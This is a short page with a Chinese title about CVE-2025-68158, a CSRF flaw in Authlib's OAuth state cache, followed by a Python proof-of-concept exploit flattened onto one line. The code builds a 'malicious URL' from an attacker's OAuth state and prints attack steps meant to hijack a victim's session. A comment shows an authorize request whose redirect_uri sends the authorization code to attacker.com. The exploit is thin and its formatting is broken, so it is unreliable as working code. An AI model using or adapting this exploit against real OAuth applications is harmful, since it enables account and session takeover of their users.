CVE-2025-68158 Authlib OAuth库缓存状态存储CSRF漏洞

import hashlib import hmac import base64 import json import time def generate_csrf_payload(attacker_state, target_redirect_uri): """ CVE-2025-68158 CSRF PoC Generate malicious OAuth state for CSRF attack Args: attacker_state: Valid state from attacker's own OAuth flow target_redirect_uri: Target application's OAuth callback URL Returns: Malicious redirect URL with CSRF payload """ # Attack scenario: Attacker initiates OAuth flow, gets valid state # Then tricks victim into completing auth with same state # Finally attacker uses the state to hijack victim's session payload = { 'attacker_state': attacker_state, 'target_redirect': target_redirect_uri, 'timestamp': int(time.time()) } # In real attack, the malicious URL would be: # https://target-oauth-server/authorize? # client_id=attacker_app& # redirect_uri=https://attacker.com/callback& # scope=openid profile email& # state={attacker_state}& # response_type=code malicious_url = f"{target_redirect_uri}?state={attacker_state}" return malicious_url, payload def exploit_vulnerability(attacker_oauth_flow_url): """ Exploit Authlib CSRF vulnerability Steps: 1. Attacker initiates OAuth flow to obtain valid state 2. Attacker crafts malicious link for victim 3. Victim clicks link and completes authentication 4. Attacker uses captured state to hijack session """ print("[*] CVE-2025-68158 Authlib CSRF Exploit") print(f"[*] Step 1: Initiate OAuth flow to get valid state") print(f"[*] URL: {attacker_oauth_flow_url}") # In vulnerable version, state is stored as: _state_{app}_{state} # without session binding cache_key_pattern = "_state_{app}_{state}" print(f"[*] Vulnerable cache key pattern: {cache_key_pattern}") print(f"[*] State is NOT bound to user session!") return True